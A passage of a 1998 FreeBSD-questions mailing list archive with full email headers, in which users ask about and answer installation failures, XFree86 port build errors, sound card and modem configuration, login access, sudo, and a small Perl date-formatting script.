with SMTP id EAA11310 for ; Mon, 6 Apr 1998 04:40:15 -0700 (PDT) (envelope-from Steve.Davies@uk.dmg.deuba.com) Received: by firewall.uk.dmg.deuba.com (AIX 4.1/UCB 5.64/db1.1) id AA25994; Mon, 6 Apr 1998 12:35:12 +0100 Received: from imr1.srv.uk.deuba.com(10.141.44.110) by firewall via smap (V1.3) id sma046106; Mon Apr 6 12:35:00 1998 Received: from notessmtp1.srv.uk.deuba.com by imr1.srv.uk.deuba.com id MAA28357; Mon, 6 Apr 1998 12:39:28 +0100 (BST) Received: by notessmtp1.srv.uk.deuba.com(Lotus SMTP MTA v1.1 (385.6 5-6-1997)) id 002565DE.004583BD ; Mon, 6 Apr 1998 12:39:17 +0000 X-Lotus-Fromdomain: DMG UK From: "Steve Davies" To: questions@FreeBSD.ORG Message-Id: <002565DE.004449C6.00@notessmtp1.srv.uk.deuba.com> Date: Mon, 6 Apr 1998 12:29:33 +0000 Subject: Installation problems on v2.2.5 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I wonder if anyone can help with an installation problem I am having with the above version. I am trying to install on a Pentium II 300, with an IBM disk drive, Diamond Stealth Graphics card, ensoniq sound card. The system boots up off the CD and after the first screen with the option to change the kernel and then to continue boot, the system appears to discover the hardware but I am then left with a blank screen with just a flashing, large block cursor in the bottom left corner. Anyone see the same/know why ? The same happens when trying the install from dos, or with a floppy. Cheers Steve stephen_davies@postmaster.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 05:18:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA16416 for freebsd-questions-outgoing; Mon, 6 Apr 1998 05:18:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from python.shoal.net.au (perrya@python.shoal.net.au [203.26.44.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA16410 for ; Mon, 6 Apr 1998 05:18:29 -0700 (PDT) (envelope-from perrya@python.shoal.net.au) Received: from localhost (perrya@localhost) by python.shoal.net.au (8.8.6/8.8.5) with SMTP id WAA25172; Mon, 6 Apr 1998 22:18:22 +1000 (EST) Date: Mon, 6 Apr 1998 22:18:22 +1000 (EST) From: Andrew To: anthony@sohopros.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: help with ports? In-Reply-To: <3.0.32.19980405233557.008fb840@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Worked fine for me. Make sure you are in the /pub/FreeBSD/ports-2.2.5/www dir and not in the netscape4 dir. First I do binary then get netscape4.tar.gz seemed to work ok. Andrew Perry > I'm trying to get the port netscape4 from > /pub/FreeBSD/ports-2.2.5/www/. On page 94 > of "The Complete FreeBSD" the author says that > since these are directories you must tell ftp to > automatically to tar and gzip them by > typing get xmbase-...tar.gz. xmbase-grok.tar.gz > is the example he uses in the book. So if I > what to get the port netscape4 I should be > able to type get netscape4.tar.gz. When I try > this I get a error message saying no such file > exist. Can someone tell me what I'm doing wrong? > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 05:22:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA16977 for freebsd-questions-outgoing; Mon, 6 Apr 1998 05:22:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from python.shoal.net.au (perrya@python.shoal.net.au [203.26.44.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA16968 for ; Mon, 6 Apr 1998 05:22:21 -0700 (PDT) (envelope-from perrya@python.shoal.net.au) Received: from localhost (perrya@localhost) by python.shoal.net.au (8.8.6/8.8.5) with SMTP id WAA25333; Mon, 6 Apr 1998 22:22:19 +1000 (EST) Date: Mon, 6 Apr 1998 22:22:18 +1000 (EST) From: Andrew To: "Christopher R. Maden" cc: freebsd-questions@FreeBSD.ORG Subject: Re: IDE question In-Reply-To: <199804051908.PAA03062@crism.ne.mediaone.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think that you'll find that you are out of luck. I have never heard of more than two ide devices on one ide controller, cd-rom or hard disk drive. You may be able to put in another ide controller card but I've never tried it and don't know anyone who has. I've often wondered if you can put a hard drive on the ide port on some sound cards as well but never got around to trying it. Andrew Perry > > I have two IDE controllers on my motherboard. One is cabled to the > two floppy drives, and the other to a CD-ROM drive and to the hard > drive. > > I have another drive, and need the space. None of my IDE cables has > more than two connectors on it, and I'm wondering if this is because > of a limitation in IDE itself; is it safe to drive three devices from > a single controller? > > If so, I can fix the cables myself (my EE degree is good for > something), but I can't find any specs on whether or not that'll burn > anything out. > > Thanks in advance, > crism > - -- > "It stinks out loud!" -- a man on the street about _Reader's Digest_, > CNN Headline News. > > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > Comment: For my public key, finger crism@crism.ne.mediaone.net. > > iQB1AwUBNSfWsHSaAdkmYoAJAQHNvgL/SROgo3ZpvajmKRipONaB7Isy4h4I6bbA > GGCWi4u9vjyitbP7FjjcGb9Fq7qBvwwidPn5agiFeU91wG5tmuHK92lDhQ7k23Qy > +rzJgl6+yQLktbKjJ3q3i6R9lL9G7WA/ > =UIyT > -----END PGP SIGNATURE----- > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 05:32:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA18066 for freebsd-questions-outgoing; Mon, 6 Apr 1998 05:32:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tps.sk (tps@tps.sk [195.168.1.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA18050 for ; Mon, 6 Apr 1998 05:32:31 -0700 (PDT) (envelope-from tps@tps.sk) Received: (from tps@localhost) by tps.sk (8.8.8/8.8.7) id OAA18439 for freebsd-questions@freebsd.org; Mon, 6 Apr 1998 14:32:53 +0200 (CEST) (envelope-from tps) From: Tomas TPS Ulej Message-Id: <199804061232.OAA18439@tps.sk> Subject: no more processes To: freebsd-questions@FreeBSD.ORG Date: Mon, 6 Apr 1998 14:32:52 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I got this error message: "no more processes" What's the reason? In that time, when I got error message I run X server with aftersetep, xtimer, xpostit, xperfmon, netscape 4.04b and 9x xterm Can somebody help me? how recompile kernel or what should I set for "more processes"? -TPS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 05:39:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA18804 for freebsd-questions-outgoing; Mon, 6 Apr 1998 05:39:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hrz-ws16.hrz.uni-kassel.de (hrz-ws16.hrz.uni-kassel.de [141.51.12.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA18795 for ; Mon, 6 Apr 1998 05:38:37 -0700 (PDT) (envelope-from pklatte@student.uni-kassel.de) Received: from hrz-ws28 (hrz-ws28.hrz.uni-kassel.de [141.51.22.3]) by hrz-ws16.hrz.uni-kassel.de (8.8.8/8.8.8) with SMTP id OAA12868 for ; Mon, 6 Apr 1998 14:36:55 +0200 Message-ID: <3528CCC8.41C6@student.uni-kassel.de> Date: Mon, 06 Apr 1998 14:38:32 +0200 From: Peter Klatte Organization: Universitaet Kassel X-Mailer: Mozilla 2.02 (X11; I; AIX 2) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: installing freeBSD... X-URL: http://www.freebsd.org/mailto.html Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id FAA18800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there! I´ bought last week the November Version of freeBSD. And i tried to install freeBSD. It´s not the first Unix, which i install, but here... I installed the Bootmanager and many Packages, but the Kernel wasn`t installed. Why? I tried that four times. I`ve some experience with Linux and i know, that there is a different to freeBSD. And i have to learn somethings about freeBSD. And i like to use a good Unix system instead of Windows95 or something else, Please give me an answer... Bye Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 05:50:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA20182 for freebsd-questions-outgoing; Mon, 6 Apr 1998 05:50:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from touche.nexos.com.br (ns.nexos.com.br [200.239.191.67]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA20175 for ; Mon, 6 Apr 1998 05:50:45 -0700 (PDT) (envelope-from gorgonio@nexos.com.br) Received: from compacto.nexos.com.br (compacto.nexos.com.br [192.168.0.4]) by touche.nexos.com.br (8.8.8/8.8.8) with ESMTP id JAA02636; Mon, 6 Apr 1998 09:50:11 -0300 (EST) (envelope-from gorgonio@nexos.com.br) Received: from localhost (localhost.nexos.com.br [127.0.0.1]) by compacto.nexos.com.br (8.8.8/8.8.5) with ESMTP id JAA01520; Mon, 6 Apr 1998 09:50:07 -0300 (EST) Date: Mon, 6 Apr 1998 09:50:07 -0300 (EST) From: Gorgonio Araujo Reply-To: Gorgonio Araujo To: Jean-Marc Zucconi cc: freebsd-questions@FreeBSD.ORG, suporte@nexos.com.br Subject: Re: XFree86 current port In-Reply-To: <9804021614.AA15532@cabri.obs-besancon.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 2 Apr 1998, Jean-Marc Zucconi wrote: > >>>>> Gorgonio Araujo writes: > > > Hello Jean-Marc! > > I'm trying to build XFree86-3.3.2 without success. cc is complaining about > > a rpc/key_prot.h include file while trying to build xdm. I'm using FreeBSD > > 2.2.5-RELEASE, is rpc/key_prot.h a FreeBSD-current file or I missed > > something? > > > Here is the make install output: > > >>> Checksum OK for xc/X332src-1.tgz. > >>> Checksum OK for xc/X332src-2.tgz. > > ===> Extracting for XFree86-3.3.2 > > > gzip: stdin: not in gzip format > > /usr/bin/tar: child returned status 1 > > This is probably the source of the error. Do you have USA_RESIDENT=NO? Sure, in /etc/make.conf. > Can you try again, inserting the following line in the makefile: > EXTRACT_ONLY = X332src-1.tgz X332src-2.tgz > [...] I did with the following not default options: Install xdm config? [YES] NO Install xinit config? [YES] NO Build with Secure RPC? [YES] NO // Since we're using 2.2.5-RELEASE This is, probably the reason of my original problem Do you want to enable KerberosIV support? [YES] NO // Unfortunatelly I couldn't build with KerberosIV support! Add again I'm with touble with XF86Setup compilation: # cc -o XF86Setup -O2 -ansi -pedantic -Dasm=__asm -L../../../../../exports/lib main.o tclmisc.o tclvidmode.o tclcards.o tclother.o tclkbd.o tclx fconf.o xf86Config.o cards.o tclxkbui.o tkother.o -lxkbui -lxkbfile -Wl,-Bstatic -L/usr/local/lib -ltk80 -Wl,-Bdynamic -Wl,-Bstatic -L/usr/local/lib -ltcl80 -Wl,-Bdynamic -lXxf86vm -lXxf86misc -lXaw -lXmu -L../../../../../exports/lib -lXt -lX11 -lXt -lSM -lICE -lXext -lX11 -lm -L/usr/X11R6/lib tkEvent.o: Undefined symbol `_Tk_InternAtom' referenced from text segment tkEvent.o: Undefined symbol `_TkBindEventProc' referenced from text segment tkFont.o: Undefined symbol `_TkGetDisplayOf' referenced from text segment tkFont.o: Undefined symbol `_TkGetDisplayOf' referenced from text segment ... -- Gorgonio Araújo Nexos - http://www.nexos.com.br tel/fax: +55 71 240-7232 -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 06:12:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA22201 for freebsd-questions-outgoing; Mon, 6 Apr 1998 06:12:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from TRICOPROD.COM (smtp.tricoprod.com [38.161.188.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id GAA22194 for ; Mon, 6 Apr 1998 06:12:25 -0700 (PDT) (envelope-from HEH@TRICOPROD.COM) Received: from TRICOPROD-Message_Server by TRICOPROD.COM with Novell_GroupWise; Mon, 06 Apr 1998 09:18:54 -0400 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Mon, 06 Apr 1998 09:18:33 -0400 From: "Henry Hojnacki" To: questions@FreeBSD.ORG Subject: Sound Problems Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id GAA22196 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings! I am running freebsd 2.1 and have recently installed a new sound card, a soundblaster 16 OEM "Plug & Pray". I am using the VoxWare drivers version 3.0-950506. I have compiled in sound support in the kernel, and ensured that all the devices exist in /dev. The card is being recognized during boot up, but I cannot get it to consistently play sounds. Apparently, I have not prayed enough for "Plug&Pray" to work.:-) The symptoms are: 1. if I cat a .au file to /dev/audio, it plays for about 1 second, and then locks, the cat command does not exit. 2. If I use rplayd, with a rplay command on a sound file, it plays for about 0.1 seconds, and then rplayd returns an error, "Interrupted system call", and loops forever. I have tried various IRQ/DRQ combinations. I have had limited success using IRQ 2/9. With this, sound files play through to the end, but the sound is scrambled. If I boot to Windows 3.1, the card seems to work fine. I have another machine, which uses a non-plug&pray card, different motherboard, but all works fine, as far as I can tell, the setup is identical as far as I/O, IRQ, etc. Here are the details on the problem machine. The Mother board is manufactured by "TUV product service" and uses the Intel 430TX chip set. Here is the boot up log, which will show the detailed config Apr 5 18:46:41 teknodog /kernel.new: FreeBSD 2.1.0-RELEASE #0: Sun Apr 5 18:44:54 EDT1998 Apr 5 18:46:41 teknodog /kernel.new: root@teknodog:/usr/src/sys/compile/siopatch Apr 5 18:46:41 teknodog /kernel.new: CPU: 167-MHZ Pentium (Pentium-class CPU) Apr 5 18:46:41 teknodog /kernel.new: Origin = "GenuineIntel" Id = 0x543 Stepping=3 Apr 5 18:46:41 teknodog /kernel.new: Features=0x8001bf Apr 5 18:46:41 teknodog /kernel.new: real memory = 33554432 (32768K bytes) Apr 5 18:46:41 teknodog /kernel.new: avail memory = 30752768 (30032K bytes) Apr 5 18:46:41 teknodog /kernel.new: Probing for devices on the ISA bus: Apr 5 18:46:42 teknodog /kernel.new: sc0 at 0x60-0x6f irq 1 on motherboard Apr 5 18:46:42 teknodog /kernel.new: sc0: VGA color <16 virtual consoles, flags=0x0> Apr 5 18:46:42 teknodog /kernel.new: sio0 at 0x3f8-0x3ff irq 4 on isa Apr 5 18:46:42 teknodog /kernel.new: sio0: type 16450 Apr 5 18:46:42 teknodog /kernel.new: sio1 at 0x2f8-0x2ff irq 3 on isa Apr 5 18:46:42 teknodog /kernel.new: sio1: type 16450 Apr 5 18:46:42 teknodog /kernel.new: lpt0 at 0x378-0x37f irq 7 on isa Apr 5 18:46:42 teknodog /kernel.new: lpt0: Interrupt-driven port Apr 5 18:46:42 teknodog /kernel.new: lp0: TCP/IP capable interface Apr 5 18:46:42 teknodog /kernel.new: lpt1 at 0x278-0x27f on isa Apr 5 18:46:43 teknodog /kernel.new: pca0 on motherboard Apr 5 18:46:43 teknodog /kernel.new: pca0: PC speaker audio driver Apr 5 18:46:43 teknodog /kernel.new: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa Apr 5 18:46:43 teknodog /kernel.new: fdc0: NEC 72065B Apr 5 18:46:43 teknodog /kernel.new: fd0: 1.44MB 3.5in Apr 5 18:46:43 teknodog /kernel.new: wdc0 at 0x1f0-0x1f7 irq 14 on isa Apr 5 18:46:43 teknodog /kernel.new: wdc0: unit 0 (wd0): Apr 5 18:46:44 teknodog /kernel.new: wd0: 1623MB (3324384 sectors), 3298 cyls, 16 heads, 63 S/T, 512 B/S Apr 5 18:46:44 teknodog /kernel.new: wdc1 at 0x170-0x177 irq 15 on isa Apr 5 18:46:44 teknodog /kernel.new: wdc1: unit 0 (atapi): , removable, intr, dma, iordis Apr 5 18:46:44 teknodog /kernel.new: npx0 on motherboard Apr 5 18:46:44 teknodog /kernel.new: npx0: INT 16 interface Apr 5 18:46:44 teknodog /kernel.new: sb0 at 0x220 irq 5 drq 1 on isa Apr 5 18:46:44 teknodog /kernel.new: sb0: Apr 5 18:46:44 teknodog /kernel.new: sbxvi0 at 0x0 drq 6 on isa Apr 5 18:46:44 teknodog /kernel.new: sbxvo0: Apr 5 18:46:45 teknodog /kernel.new: sbmidi0 not found at 0x330 Apr 5 18:46:45 teknodog /kernel.new: opl0 at 0x388 on isa Apr 5 18:46:45 teknodog /kernel.new: opl0: Apr 5 18:46:45 teknodog /kernel.new: Probing for devices on the PCI bus: Apr 5 18:46:45 teknodog /kernel.new: pci0:0: Intel Corporation, device=0x7100, class=bridge (host) [no driver assigned] Apr 5 18:46:45 teknodog /kernel.new: pci0:7: Intel Corporation, device=0x7110, class=bridge (isa) [no driver assigned] Apr 5 18:46:45 teknodog /kernel.new: vga0 rev 69 int a irq 10 on pci0:10 Apr 5 18:46:42 teknodog lpd[88]: restarted Apr 5 18:46:49 teknodog /kernel.new: lpt0 switched to polled mode As seen in the boot up sequence, the card is being recognized, but is not functioning correctly afterward. Any help you can provide would be greatly appreciated. Thank You in advance. |-|-| Henry Hojnacki Trico Technology Center Voice: 248 371 8384 Fax: 248 371 8300 heh@tricoprod.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 06:46:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA26272 for freebsd-questions-outgoing; Mon, 6 Apr 1998 06:46:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cabri.obs-besancon.fr (cabri.obs-besancon.fr [193.52.184.3]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id GAA26237 for ; Mon, 6 Apr 1998 06:45:58 -0700 (PDT) (envelope-from jmz@cabri.obs-besancon.fr) Received: by cabri.obs-besancon.fr (5.57/Ultrix3.0-C) id AA11836; Mon, 6 Apr 98 15:47:26 +0100 Date: Mon, 6 Apr 98 15:47:26 +0100 Message-Id: <9804061447.AA11836@cabri.obs-besancon.fr> From: Jean-Marc Zucconi To: gorgonio@nexos.com.br Cc: freebsd-questions@FreeBSD.ORG, suporte@nexos.com.br In-Reply-To: (message from Gorgonio Araujo on Mon, 6 Apr 1998 09:50:07 -0300 (EST)) Subject: Re: XFree86 current port X-Mailer: Emacs Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> Gorgonio Araujo writes: > Add again I'm with touble with XF86Setup compilation: > # cc -o XF86Setup -O2 -ansi -pedantic -Dasm=__asm > -L../../../../../exports/lib > main.o tclmisc.o tclvidmode.o tclcards.o tclother.o tclkbd.o tclx fconf.o > xf86Config.o cards.o tclxkbui.o tkother.o > -lxkbui -lxkbfile -Wl,-Bstatic -L/usr/local/lib -ltk80 > -Wl,-Bdynamic -Wl,-Bstatic -L/usr/local/lib -ltcl80 -Wl,-Bdynamic -lXxf86vm -lXxf86misc > -lXaw -lXmu -L../../../../../exports/lib -lXt -lX11 -lXt -lSM -lICE > -lXext -lX11 -lm -L/usr/X11R6/lib > tkEvent.o: Undefined symbol `_Tk_InternAtom' referenced from text segment > tkEvent.o: Undefined symbol `_TkBindEventProc' referenced from text > segment > tkFont.o: Undefined symbol `_TkGetDisplayOf' referenced from text segment > tkFont.o: Undefined symbol `_TkGetDisplayOf' referenced from text segment > ... Did you reinstall the latest tcl/tk 8.0 port? The tcl/tk 8.0 static libraries were broken before 1998/03/18. Jean-Marc _____________________________________________________________________________ Jean-Marc Zucconi Observatoire de Besancon F 25010 Besancon cedex PGP Key: finger jmz@cabri.obs-besancon.fr To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 07:20:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA29297 for freebsd-questions-outgoing; Mon, 6 Apr 1998 07:20:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.hcol.net (root@ns.hcol.net [205.152.99.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA29287 for ; Mon, 6 Apr 1998 07:20:14 -0700 (PDT) (envelope-from val@hcol.net) Received: from ns.hcol.net (val@smtp.hcol.net [205.152.99.19]) by ns.hcol.net (8.8.6/8.8.6) with SMTP id JAA04043; Mon, 6 Apr 1998 09:19:57 -0500 (CDT) Date: Mon, 6 Apr 1998 09:19:57 -0500 (CDT) From: Val To: Ross McFarland cc: freebsd-questions@FreeBSD.ORG Subject: Re: the su command and specifing who can telnet In-Reply-To: <000d01bd60be$2d7a89a0$896969ce@win95-133> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Ross McFarland wrote: > 1) I've found and understand how the ftp access is controlled by a file, where and\or how can I control who can access the server by Telnet? I have a user name for apache to run under and would like to restrict its ability to log in from any where other than the console. I think it's called /etc/login.access but on my system originally it was set up do deny login to anyone other from the console, so I had to put in some ips in there and now i can telnet from those ips. You can also control usernames that can telnet into the system from there. > 2) how do I allow a user to su to root. I've tried setting group to 0(wheel) and using the log in class root, staff and everything else I can think of in every combination. when I try it always says We use sudo port to let users run commands as root. it's one of the ports. this way you don't need to tell them the root password. Every action is logged into the /var/log/messages and there are some other precausions i think, like you can't delete root, etc. Access to sudo command is controlled by the file: sudoers. regards, Val. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 07:23:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA29754 for freebsd-questions-outgoing; Mon, 6 Apr 1998 07:23:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.hcol.net (root@ns.hcol.net [205.152.99.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA29742 for ; Mon, 6 Apr 1998 07:23:27 -0700 (PDT) (envelope-from val@hcol.net) Received: from ns.hcol.net (val@smtp.hcol.net [205.152.99.19]) by ns.hcol.net (8.8.6/8.8.6) with SMTP id JAA04109 for ; Mon, 6 Apr 1998 09:23:23 -0500 (CDT) Date: Mon, 6 Apr 1998 09:23:23 -0500 (CDT) From: Val To: freebsd-questions@FreeBSD.ORG Subject: different ftp directory from home directory. In-Reply-To: <199804030238.VAA08763@eyelab.psy.msu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to set up a user to have a different ftp directory from his home (telnet directory). Is this possible? Also, when he logs in through ftp, he can't go down the directory tree below his home directory. I think I put him into the wheel and staff groups. What else do I need to do? TIA. Val. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 07:45:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA01368 for freebsd-questions-outgoing; Mon, 6 Apr 1998 07:45:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.airmail.net (mail.airmail.net [206.66.12.40]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id HAA01360 for ; Mon, 6 Apr 1998 07:45:25 -0700 (PDT) (envelope-from flirt@airmail.net) Received: from airmail.net from [204.214.145.2] by mail.airmail.net (/\##/\ Smail3.1.30.16 #30.237) with esmtp for sender: id ; Mon, 6 Apr 98 09:45:21 -0500 (CDT) Message-ID: <3528EA7E.AADD4507@airmail.net> Date: Mon, 06 Apr 1998 09:45:19 -0500 From: KT Gibbs Reply-To: denwagh@innocent.com X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Modems. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I read through your FAQ, very informative however I am having a small problem. I have a 56k Phillips Flex modem, it is PNP (bleh), and although I can get a Sportster 28.8 to work just fine, I cannot get the 56k to be recognized. Both modems are on IRQ 5, The Sportster is Jumper set, the 56k is not but it always gets recognized on IRQ 5 when in a 95 box. Any suggestions? Thanks KT Gibbs To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 08:26:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA05786 for freebsd-questions-outgoing; Mon, 6 Apr 1998 08:26:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from postoffice.onu.edu (postoffice.onu.edu [140.228.10.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA05773 for ; Mon, 6 Apr 1998 08:26:21 -0700 (PDT) (envelope-from r-beer@onu.edu) Received: from [140.228.15.35] (asterion.onu.edu [140.228.15.35]) by postoffice.onu.edu (8.8.5/8.8.5) with ESMTP id LAA13069; Mon, 6 Apr 1998 11:25:40 -0400 (EDT) Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 6 Apr 1998 11:26:40 -0400 To: Dean Hollister From: Robert Beer Subject: Re: Expire field in master.passwd? Cc: FreeBSD Questions Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 3:46 AM -0400 4/4/98, Dean Hollister wrote: >On Fri, 3 Apr 1998, Robert Beer wrote: > >> You might try this perl script: >> #!/usr/local/bin/perl >> require "ctime.pl"; > >Thanks. Works a treat. BTW, any way to omit the time, and just display the >date? Well, this will work: #!/usr/local/bin/perl require "ctime.pl"; ($weekday, $month, $day, $time, $year) = split(" ",&ctime($ARGV[0])); print "$weekday $month $day $year\n"; --- Bob Beer Ohio Northern University, Academic Computer Services, Ada, OH 45810 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 09:53:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA15915 for freebsd-questions-outgoing; Mon, 6 Apr 1998 09:53:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from red.juniper.net (red.juniper.net [208.197.169.254]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA15910 for ; Mon, 6 Apr 1998 09:53:27 -0700 (PDT) (envelope-from aviva@juniper.net) Received: from red.juniper.net (localhost.juniper.net [127.0.0.1]) by red.juniper.net (8.8.5/8.8.5) with ESMTP id JAA20186; Mon, 6 Apr 1998 09:52:53 -0700 (PDT) Message-Id: <199804061652.JAA20186@red.juniper.net> To: questions@FreeBSD.ORG cc: aviva@juniper.net Subject: FreeBSD trademark issues Date: Mon, 06 Apr 1998 09:52:53 -0700 From: Aviva Garrett Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, We use FreeBSD as the underlying operating system for our software product. In the trademark and copyright section of our documentation, how would you like us to recognize this? Do you have any standard legal text that we need to include? Thanks, ..Aviva ---------------------------------------------- Aviva Garrett aviva@juniper.net Juniper Networks, Inc. (650) 526-8077 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 10:05:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA17715 for freebsd-questions-outgoing; Mon, 6 Apr 1998 10:05:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dot.crosswinds.net (dot.crosswinds.net [209.47.139.147]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA17660 for ; Mon, 6 Apr 1998 10:05:03 -0700 (PDT) (envelope-from Genius@glasgow.crosswinds.net) Received: from metallica ([194.72.246.47]) by dot.crosswinds.net (8.8.7/8.8.8) with SMTP id 